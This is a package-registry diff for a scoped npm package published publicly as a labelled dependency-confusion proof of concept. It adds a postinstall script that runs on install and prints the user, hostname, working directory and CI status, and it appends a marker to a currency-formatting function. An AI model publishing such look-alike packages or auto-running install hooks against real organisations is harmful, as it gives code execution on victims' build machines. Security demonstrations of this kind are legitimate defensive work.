@finxsecdemo/utils 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +12 -0
  2. package/package.json +10 -0
  3. package/postinstall.js +18 -0
package/index.js ADDED
@@ -0,0 +1,12 @@
1
+ function buildAuthHeader(token) {
2
+ return { Authorization: `Bearer ${token}` };
3
+ }
4
+
5
+ function formatCurrency(amountCents, currency = 'USD') {
6
+ return (
7
+ new Intl.NumberFormat('en-US', { style: 'currency', currency }).format(amountCents / 100) +
8
+ ' [DEPENDENCY-CONFUSION-POC: this ran from the PUBLIC npm registry, not @finxsecdemo private packages]'
9
+ );
10
+ }
11
+
12
+ module.exports = { buildAuthHeader, formatCurrency };
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "@finxsecdemo/utils",
3
+ "version": "1.0.1",
4
+ "description": "PoC package for internal dependency-confusion security demo. Harmless - see postinstall.js.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node ./postinstall.js"
8
+ },
9
+ "license": "UNLICENSED"
10
+ }
package/postinstall.js ADDED
@@ -0,0 +1,18 @@
1
+ const os = require('os');
2
+
3
+ console.log('');
4
+ console.log('==============================================================');
5
+ console.log(' DEPENDENCY CONFUSION POC - arbitrary code execution proof');
6
+ console.log(' Package installed: @finxsecdemo/utils@' + require('./package.json').version);
7
+ console.log(' Source: PUBLIC npm registry (registry.npmjs.org)');
8
+ console.log(' This should have come from the private GitHub Packages registry.');
9
+ console.log('--------------------------------------------------------------');
10
+ console.log(' Runtime user :', os.userInfo().username);
11
+ console.log(' Hostname :', os.hostname());
12
+ console.log(' CWD :', process.cwd());
13
+ console.log(' CI environment :', process.env.CI ? 'yes' : 'no');
14
+ console.log('--------------------------------------------------------------');
15
+ console.log(' No data was exfiltrated or modified. This is a benign,');
16
+ console.log(' internal proof-of-concept for a dependency-confusion demo.');
17
+ console.log('==============================================================');
18
+ console.log('');